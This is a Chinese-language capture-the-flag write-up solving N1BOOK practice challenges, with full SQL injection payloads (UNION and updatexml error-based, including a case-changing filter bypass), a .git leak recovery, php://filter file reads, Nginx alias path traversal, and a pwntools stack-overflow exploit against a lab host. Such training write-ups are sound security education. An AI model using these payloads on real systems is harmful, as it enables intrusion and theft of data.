N1BOOK

参考《从0到1 CTFer成长之路》

[第一章 web入门]常见的搜集

先验知识:常见的敏感文件

  1. gedit备份文件,格式为filename~,比如index.php~
  2. vim备份文件,格式为.filename.swp或者*.swo或者*.swn,比如.index.php.swp
  3. robots.txt
  4. 还有filename.bak文件

方法

  1. 地址后加/index.php~

    img

  2. /.index.php.swp会即刻下载备份文件,可通过vi index.php建一个只有空格的文件,然后通过vim -r index.php进行恢复即可得到
    img

  3. /robots.txt
    img
    查看这个文本文件

    img

    综上可得

n1book{info_1s_v3ry_imp0rtant_hack}

[第一章 web入门]粗心的小李

git泄露

img

方法

  1. 借助GitHacker工具
  2. git clone https://github.com/WangYihang/GitHacker.git
  3. cd GitHacker
  4. python Githacker.py http://0fcbe3ec-471a-452a-9e5f-953c5026eb18.node3.buuoj.cn/.git
    img
  5. 进入恢复后的文件夹cd 0fcbe3ec-471a-452a-9e5f-953c5026eb18_node3_buuoj_cn_,有个index.html
    img
  6. 浏览器打开index.html即可拿到flag
    img

    n1book{git_looks_s0_easyfun}

[第一章 web入门]SQL注入-1

  1. 打开题目链接可以看到
    img
  2. 试试id=1+1的回显,发现和id=1结果相同,所以不是数字型注入,可能是字符型
    img
  3. 尝试id=1a发现和id=1结果相同,所以确实是字符型
    img
  4. 尝试用id=1'#,单引号用于闭合前面的单引号,井号用于注释后面预置的单引号。这里注意:#一定要用URL编码,即%23,所以实际上需要输入id=1'%23单引号会被自动转成%27
    img
  5. 可以成功显示
  6. 优先尝试UNION注入id=-1'union select 1,2,3%23,其中-1是为了使第一行记录无法被查询到,当然,除了-1也可以是一个很大的值比如1024、100等。后面的查询语句是尝试测试哪些字段可以回显参考
    img
  7. 所以将数字2改成我们想查询的内容:所有表名group_concat(table_name)group_concat是用,联合多行记录的函数。所以为查询本数据库的其他所有表名,需id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23,随即看到fl4g
    img
  8. 查询fl4g中的字段名,id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='fl4g'%23
    img
  9. 获取fllllag的内容,id=-1'union select 1,fllllag,3 from fl4g%23
    img

    n1book{union_select_is_so_cool}

[第一章 web入门]SQL注入-2

先验知识

  1. 有的网站会开启错误调试信息方便开发者调试,可以利用报错信息进行报错注入
  2. updatexml第二个参数应为合法XPATH路径,否则会在引发报错的同时输出传入的参数
  3. dual用于测试数据库是否可以正常使用

方法

  1. 在连接后加上/login.php,右键查看源码
    img

    img

  2. 回到登录页面,打开Burp Suite,安装方法参考

  3. 推荐浏览器插件:SwitchyOmega,可以省去每次设置代理的步骤,使用BurpSuite时,点击插件选择对应Burp Suite的代理即可
    img

  4. 在login界面随便输入用户名和密码如1,1然后点击登录

  5. 可以在Burp Suite中Proxy->HTTP history看到记录
    img

  6. CTRL+R,发送到Repeater,在login.php后添加?tips=1,点击Go,看到报错
    img

  7. 用dual进行测试name=1'and updatexml(1,concat(0x7e,(select 1 from dual)),1)#&pass=xxxx
    img

  8. 说明存在过滤,将select改成selEct重新发送后回显正常
    img

  9. 之后的操作与与SQL注入1同理,将selEct后的1改为group_concat(table_name),dual改为information_schema.tables where table_schema=database()以查看所有表名
    img

  10. 仍与SQL注入1同理,查看fl4g的字段,分别改为group_concat(column_name)和information_schema.columns where table_name=’fl4g’
    img

  11. 获取flag,selEct flag from fl4g
    img

    n1book{login_sqli_is_nice}

[第一章 web入门]afr_1

先验知识

  1. PHP向用户提供的指定待打开文件的方式,是一个文件流
  2. PHP的Filter机制,可对目前的协议进行一定的处理,比如将当前文件流的内容进行Base64编码。使用方法php://filter/read=convert.base64-encode/resource=xxx
  3. 利用Filter机制,构造形如以上的攻击数据可以读取文件,拿到各种文件的源码

方法

  1. 点击题目链接
    img
  2. p=php://filter/read=convert.base64-encode/resource=hello
    img

    PD9waHAKCmVjaG8gImhlbGxvIHdvcmxkISI7

Base64解码结果为

1
2
<?php
echo "hello world!";
  1. 尝试改p,发现p=flag时有回显,所以应该存在这么个文件
    img
  2. p=php://filter/read=convert.base64-encode/resource=flag
    img

    PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9

  3. 解码结果为

1
2
3
<?php
die('no no no');
//n1book{afr_1_solved}

[第一章 web入门]afr_2

先验知识

Nginx错误配置可能产生目录穿越漏洞,比如:

1
2
3
location /static {
alias /home/myapp/static/;
}

由于static后没有加/,如果用户请求/static../,拼接到alias进会变成/home/myapp/static/../会穿越到myapp目录

方法

  1. 点击题目链接
    img
  2. 右键查看源码
    img
  3. 查看img目录
    img
  4. 目录穿越
    img
  5. 下载flag,用记事本打开即可

    n1book{afr_2_solved}

[第五章 CTF之RE章]Hello, RE

直接拖到ida64反编译即可看到flag
img

n1book{Welcome_to_reversing_world!}

[第六章 CTF之PWN章]stack

题目提供了libc-2.27.so和stack,根据经验知道这题环境是Ubuntu18,需要进行堆栈平衡

  1. checksec stack
    img
  2. IDA64反编译,并查看main函数
1
2
3
4
5
int __cdecl main(int argc, const char **argv, const char **envp)
{
vuln(*(_QWORD *)&argc, argv, envp);
return 0;
}
  1. 进一步查看vuln,发现栈溢出漏洞
    img

  2. 双击变量v1查看栈信息,所以当覆盖'a'*18后即可到达函数返回地址
    img

  3. 同时注意到IDA64的函数窗口有个shell,查看以下发现
    img

  4. 所以需要将shell的地址0x覆盖到vuln的返回地址即可。由于前面提到需要堆栈平衡,我们还要知道shell的ret地址
    img

    img

  5. 综上,有exp如下

1
2
3
4
5
6
7
8
9
from pwn import *

#p = process('./stack')
p = remote('node3.buuoj.cn', 25413)
shell = 0x400537
retn = 0x40054e
payload = 'a' * 18 + p64(retn) + p64(shell)
p.sendline(payload)
p.interactive()
  1. python exp.py
    img

    n1book{851939e4e90b864b8d20fe6228564522}



----------- 本文结束 -----------




0%